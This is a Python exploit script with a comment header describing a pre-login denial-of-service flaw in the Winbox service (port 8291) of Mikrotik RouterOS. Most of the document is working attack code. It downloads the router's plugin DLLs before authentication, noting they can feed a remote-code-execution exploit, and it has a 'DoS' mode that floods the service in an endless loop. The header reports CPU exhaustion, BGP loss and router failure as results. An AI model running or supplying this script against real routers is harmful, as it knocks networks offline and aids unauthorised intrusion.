Mikrotik Router Denial of Service

#!/usr/bin/python
# Exploit Title:  Mikrotik Router Remote Denial Of Service attack
# Date:    19/4/2012
# Author:    PoURaN @ 133tsec.com
# Software Link:  http://www.mikrotik.com
# Version:    All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
# Tested on:   Mikrotis RouterOS 2.9.6 up to 5.15
#
#  Vulnerability Description
# ===========================
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
# The denial of service, happens on mikrotik router's winbox service when
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service
# becomes unstable causing every remote clients (with winbox) to disconnect
# and denies to accept any further connections. That happens for about 5 minutes. After
# the 5 minutes, winbox is stable again, being able to accept new connections.
# If you send the malicious packet in a loop (requesting  part of a file right after
# the service becoming available again) then you result in a 100% denial of winbox service.
# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%
# and other actions. The "other actions" depends on the router version and on the hardware.
# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure
#  => Mikrotik Router v2.9.6 there was a BGP failure
# => Mikrotik Router v4.13 unstable wifi links
# => Mikrotik Router v5.14/5.15 rarely stacking
# =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=
#
#
#  The exploit
# =============
# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE
# user login!
# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.
# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they
# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)
# These DLLs can be used by the "Winbox remote code execution" exploit script ;)
#
#  Usage
# =======
# Use the script as described below:
# 1. You can download ALL the files of the router's dll index using the following command:
# python mkDl.py 10.0.0.1 * 1
# the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving
# information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use
# a slower speed ( 9 for example ).
# Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
# 2. You can download a specific .dll file from the remote router.
# python mkDl.py 10.67.162.1 roteros.dll 1
# In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
# Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
# That is a restriction of winbox communication protocol.
# If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
# to stop the script.
# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)
# python mkDl.py 10.67.162.1 DoS
# This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
# and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)
# Then it waits till the service is up again (using some exception handling), then it requests again till the remote
# service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about
# 5 minutes as far as i have seen from my tests in different routeros versions.
#
# <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
#
import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((mikrotikIP, 8291))
 s.send(winboxStartingIndex)
 data = s.recv(1024)   # receiving dll index from server
 time.sleep(0.001*speed)
 if data.find("\xFF\x02"+"index"+"\x00") > -1:
  print "[+] Index received!"
 else:
  print "[+] Wrong index.. Exiting.."
  sys.exit(0)
 return s

def download(filename, speed, s):
 f = open(filename, 'wb')
 if len(filename) < 13 and len(filename) > 6:
  print "[+] Requesting file ", filename, ' <->'
  winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
  s.send(winboxStartingFileReq)
  time.sleep(0.001*speed)
  dataReceived = s.recv(1)
  if dataReceived[0:1]=='\xFF':
   print "[+] Receiving the file..."
   f.write(dataReceived)      # written 1st byte
   time.sleep(0.001*speed)
   dataReceived = s.recv(0x101)    # 0x100 + 1
   nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
   if dataReceived[0:1]=='\x02':
    time.sleep(0.001*speed)
    f.write(dataReceived)     # written 1st chunk 0x102 bytes with header in file.
    dataReceived = s.recv(0x102)   # 1st sequence of (0xFF 0xFF)
    bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
    f.write(dataReceived)     # write the next 0x102 bytes (total 0x102+0x102 in file)
   else:
    print "[-] Wrong data received..(2)"
    sys.exit(0)
  else:
   print "[-] Wrong data received..(1)"
   sys.exit(0)
  
  finalPart=0
  bigFileCounter = 0xFFED
  packetsCounted=0  # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
  fileRequested=0   # every time a file needs to be requested more than 1 time, this is it's counter.
  while 1:        # header of file done.. Now LOOP the body..
   packetsCounted+=1 # dbg
   time.sleep(0.001*speed)
   dataReceived = s.recv(bytesToRead)
   f.write(dataReceived)
   if (bytesToRead <> len(dataReceived)) and packetsCounted==255: # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume
    packetsCounted = -1
    print '[+] Next file part : ', fileRequested
    s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))
    time.sleep(0.001*speed)
    dataReceived = s.recv(0x101 + 2)   # Reads the new header of the new part!!!
    nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
    f.write(dataReceived)
    bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
    fileRequested += 1
    bigFileCounter -= 0x13
   bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)  # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..
   if bytesToRead==0xFF:   # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei
    bytesToRead += 2
   if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file
    time.sleep(0.001*speed)
    dataReceived = s.recv(bytesToRead)
    f.write(dataReceived)
    break
   if bytesToRead != 0x101 and nextPartFingerprint==65517:  # ligotera bytes KAI fingerprint 65517 simainei corrupted file..
    print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'
    sys.exit(0)
  if fileRequested < 1: print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'
  else: print '[+] File '+filename+' downloaded successfully'
 f.close()
 s.close()

 
def Flood(s):
 filename = 'roteros.dll'
 f = 'we\'r not gonna use I/O to store the data'
 print "[+] Requesting file ", filename, ' till death :)'
 time.sleep(1)
 winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
 s.send(winboxStartingFileReq)
 time.sleep(0.001)
 dataReceived = s.recv(1)
 if dataReceived[0:1]=='\xFF':
  f = dataReceived      # written 1st byte
  time.sleep(0.001)
  dataReceived = s.recv(0x101)    # 0x100 + 1
  nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
  if dataReceived[0:1]=='\x02':
   time.sleep(0.001)
   f = dataReceived     # written 1st chunk 0x102 bytes with header in file.
   dataReceived = s.recv(0x102)   # 1st sequence of (0xFF 0xFF)
   bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
   f = dataReceived     # write the next 0x102 bytes (total 0x102+0x102 in file)
  else:
   print "[-] Wrong data received..(2)"
   sys.exit(0)
 else:
  print "[-] Wrong data received..(1)"
  sys.exit(0)
 
 finalPart=0
 bigFileCounter = 0xFFED
 packetsCounted=0  # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
 fileRequested=0   # every time a file needs to be requested more than 1 time, this is it's counter.
 try:
  while 1:
   s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))
   s.recv(1)
   print '- Sending evil packet.. press CTRL-C to stop -'
 except:
  print 'Connection reseted by server.. trying attacking again'

###############################################################################################################
########################################### SCRIPT BODY STARTS HERE ###########################################
global RequestHeader
RequestHeader = ('\x12\x02')
global RequestFirstFooter
RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')

global winboxStartingIndex
winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)
winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)

print '\n[Winbox plugin downloader]\n\n'

if len(sys.argv)==3:
 if sys.argv[2]=='DoS':       # if i combine both checks in 1st if, there will be error.. guess why.. ;)
  print '[+] Hmmm we gonna attack it..'
  time.sleep(1)
  speed=1
  mikrotikIP = sys.argv[1]
  filename = sys.argv[2]
  while 1:
   time.sleep(1)
   try:
    s = InitConnection(mikrotikIP, speed)
    Flood(s)
   except:
    time.sleep(1)

if len(sys.argv)<>4:
 print 'Usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
 sys.exit(0)

mikrotikIP = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
 print 'Speed must be between 1 and 9 else there are unexpected results!'
 sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartingIndex)
data = s.recv(1024)   # receiving dll index from server
s.close()

if filename.find('*') > -1:
 DllList = data.split('\x0a')
 print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'
 for i in range(0, len(DllList)-1):
  print DllList[i].split(' ')[2]
 raw_input('> Press enter to continue <')
 for extractedDlls in range(0, len(DllList)-1):
  print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]
  filename=DllList[extractedDlls].split(' ')[2]
  s = InitConnection(mikrotikIP, speed)
  download(filename, speed, s)
else:
 s = InitConnection(mikrotikIP, speed)
 download(filename, speed, s)